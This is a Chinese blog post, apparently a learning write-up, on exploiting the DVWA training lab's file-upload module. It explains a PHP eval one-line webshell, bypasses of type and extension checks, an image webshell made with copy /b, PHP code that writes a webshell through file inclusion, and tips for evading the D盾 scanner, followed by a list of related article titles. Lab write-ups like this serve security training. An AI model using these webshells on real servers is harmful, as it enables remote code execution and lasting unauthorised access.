一句话木马是什么:
例如:<?php @eval($_POST[young]);?>
@的意思就是后面是啥东西执行时都不要报错
把eval 里面的字符串当作代码执行
$_POST[young] 超全局变量
用young参数把需要执行的语句传进去,然后通过eval里去执行这个语句,达到了目的。
例如需要输出young
在这里要注意几个问题,首先就是在语句的最后要加上;作为语句的结束。
在本地搭建靶场时,如果需要burpsuite抓包一定不要访问localhost或者127.0.0.1,因为这样抓不到包,可以看自己本机的ip是多少然后访问。
在这张图片可以看出young被输出出来
可以用php中的一些函数查看文件
这就是为什么用菜刀连接就可以做很多事情,其实就是你的操作变成了命令然后通过你输入的参数传了进去,然后执行。 密码即为POST中的参数。 终于懂了

接下来就是以DVWA中的File Upload模块来学习一下文件上传的几种姿势。

  1. Low级别的上传
    low级别的没有加任何的防护。直接上传成功。


在这里要学习的点就是…/的含义。…/的意思就是向上返回一层文件夹,在这里目录已经给了,这样就很简单了。直接访问我们上传的一句话木马,就可以做我们想做的事情了
刚刚我第一次尝试的时候输入的是young = echo
结果不能输出,所以是不能在参数后面等号后面加空格的
通常可以用phpinfo来证明getshell。

  1. Medium级别
    先看一下源码
    对upload_type进行了验证,必须为image/jpeg或者是image/png才可以上传
    在这里我卡了很久,不知道为啥一直上传不上去,原来是因为模式设置一直是impossible。。
    在这我有两个思路,一是上传test.php,然后更改type绕过。二是上传test.png,然后更改文件后缀名来绕过。

  2. High级别
    首先看一下源代码。
    strtolower函数是把字符串转换为小写,实际上还是验证文件的后缀名。和medium其实是一样的。但是后面加了个getimagesize函数,这个函数会检测这个文件是否为图片,并检验长宽高,所以这个地方我们要上传一个图片马。
    那么接下来就是图片马的制作了。用cmd下的命令即可,原理就是将一个图片和一个php文件以16进制的方式整合到一起。
    命令为:copy /b 8.png + test.php 222.png
    生成了一个222.png 我们用notepad++ 打开看一下邪恶的一句话木马已经被写到后面了。
    接下来就是上传了,但是有一个问题,我们的一句话木马是图片格式,不能被解析。这里有一个公式说的很好。
    上传成功+知道路径+成功解析=getshell
    现在我们已经做到了前两步,但是无法成功解析。
    所以我们需要文件包含漏洞将其解析。
    文件包含漏洞这里先填一个坑吧。。还是不太会。学会了再写一篇博客,专门学习文件包含。
    这里的思路就是把生成一句话木马的php和图片合成到一起,然后利用文件包含漏洞进行解析,新生成一个一句话木马,然后getshell。
    生成一句话木马的代码如下:

    <?php $op = fopen("xxx.php","a+"); fwrite($op,'<?php @eval($_POST["young"]); ?>');

    fclose($op);
    ?>

预先可知dvwa存在文件包含漏洞,将图片马上传后解析,然后进行验证。目前来说是失败了。。
你说为啥失败。请看下面的代码。。
fwrite后面的指针名字写错了,能搞对才怪哦。

改过来之后就能生成一句话了。要注意的一点是:
是在前面的这个文件夹下生成的一句话木马。
接下来进行测试,看看生成的一句话是否可用
一句话生成成功。
总结一下思路就是,先生成一个包含有生成一句话木马的图片马,然后上传。再由解析漏洞将其解析,然后将图片马解析,生成对应的一句话木马,getshell。
这应该就是传说中的组合拳了。

4.impossible
我认为这个是来学习怎样防护的。要认真看看源码,学习一下如何防护。

过D盾的一句话思路:
利用函数替换,编码绕过等。
assert函数和eval函数一样都可以用菜刀连接上,但是assert 函数限制较多,比如说就不能用echo。

这篇文章就告一段落啦,最后要感谢farmsec团队的视频,受益匪浅,感谢。

DVWA File upload 一句话木马相关推荐

  1. java 文件上传漏洞_文件上传漏洞(File Upload)

    简介 File Upload,即文件上传漏洞,通常是由于对用户上传文件的类型.内容没有进行严格的过滤.检查,使得攻击者可以通过上传木马,病毒,恶意脚本等获取服务器的webshell权限,并进而攻击控制 ...

  2. dvwa之 file upload (low)一句话木马和中国菜刀

    low等级的可以使用一句话木马和中国菜刀 低等级的没有对于上传做任何的过滤或者是防护,所以直接用一句话木马进行上传即可(相关原理可以参照其他大佬的) 首先直接用一个txt里面构造一句话木马即可:(ph ...

  3. DVWA靶机-文件上传漏洞(File Upload)

    DVWA靶机-文件上传漏洞(File Upload) 文件上传漏洞的四个等级,low,medium,high,impossible,今天我们针对于不同的等级进行基于文件上传漏洞的攻击 DVWA靶机-暴 ...

  4. 【好奇心驱动力】DVWA(High)_菜刀连接图片一句话木马

    1.环境准备 攻击机:kali2020.2(192.168.2.119) 测试靶机:Metasploitable2-Linux(192.168.2.113)(这里有个坑) 工具:AntSword(蚁剑 ...

  5. DVWA之PHP文件上传漏洞(File Upload)

    文件上传漏洞是指由于服务器对于用户上传部分的控制不严格导致攻击者可以上传一个恶意的可执行的文件到服务器.简单点说,就是用户直接或者通过各种绕过方式将webshell上传到服务器中进而执行利用. 首先保 ...

  6. 上传漏洞(一句话木马、中国菜刀使用、DVWA文件上传漏洞利用)

    1.常见漏洞分类 2.常见验证手段 可抓包后修改扩展名为图片格式,再上传可绕过验证.如: 可以修改php文件后缀为其他,再上传.如test.php.xxx  可对图片文件添加一句话木马,再修改为.ph ...

  7. BUU UPLOAD COURSE 1 1(一句话木马+蚁剑)

    题目链接 https://buuoj.cn/challenges#BUU%20UPLOAD%20COURSE%201 思路 我们随便传一张图片试试: 我们发现它给我们重命名了,然后我们再打开试试: 于 ...

  8. 上传图片格式一句话木马

    一. 随便找一张jpg图片 二. 新建一个txt文档 三. 在文本文档中写入一句话木马 本次实验使用的木马为password <?php @eval($_POST['密码']);?> 四. ...

  9. 不安全的文件上传基本原理(Unsafe file upload)

    不安全的文件上传基本原理(File upload vulnerabilities) 文章目录 不安全的文件上传基本原理(File upload vulnerabilities) 什么是文件上传漏洞? ...

最新文章

  1. C#创建一个Windows Service
  2. ava RMI 框架(远程方法调用)
  3. gparted 不能起作用的时候,用fdisk
  4. ASP.NET dropdownlist绑定数据却显示System.Data.DataRowView
  5. 关系到了冰点_和丈夫的关系到了冰点,该怎么办?
  6. Sql Server 连接池及其用法
  7. Oracle版本号的含义
  8. 面试被问到Java 静态代理/动态代理?不用怕,这样子就可以!!
  9. php 检测死锁,MySQL 死锁检测
  10. Servlet destroy()回收机制
  11. html5选择试题及答案,全套html5面试题大全带答案
  12. 文档转成html在线预览,java poi Word文档转为HTML文件 实现在线预览功能
  13. 用deque模拟栈解决八皇后问题
  14. 戴尔携手EMC战略合作续签至2013年
  15. jumpserver堡垒机 (资源)
  16. 如何高效学习web_使用高效的Web工具改善您的业务
  17. 【JSON 注解】JSON循环引用1-----Jackson常用注解介绍 eq:@JsonIgnore
  18. DevOps运维开发一体化
  19. win10配置hadoop开发环境
  20. 平面设计计算机基本配置,平面设计电脑配置要求

热门文章

  1. 软件测试之安装数据库
  2. 十款优秀的MySQL图形化界面
  3. Dubbo/Dubbox的服务暴露(一)
  4. 【Nmap的使用方法】
  5. 数据结构 | 算法中的卡特兰数的应用
  6. Vue-cli3入门
  7. 电脑C盘满了清理方法,电脑内存不足怎么解决
  8. for...in 和 for...of
  9. c语言实现顺序存储程序,线性表的顺序存储结构动态态分配C语言实现
  10. 由于文件组 'PRIMARY 中的磁盘空间不足,无法为数据库 'newnet' 分配新页。请删除文件组中的对象、将其他文件添加到文件组或者为文件组中的现有文件启用自动增长,以便增加必要的空间。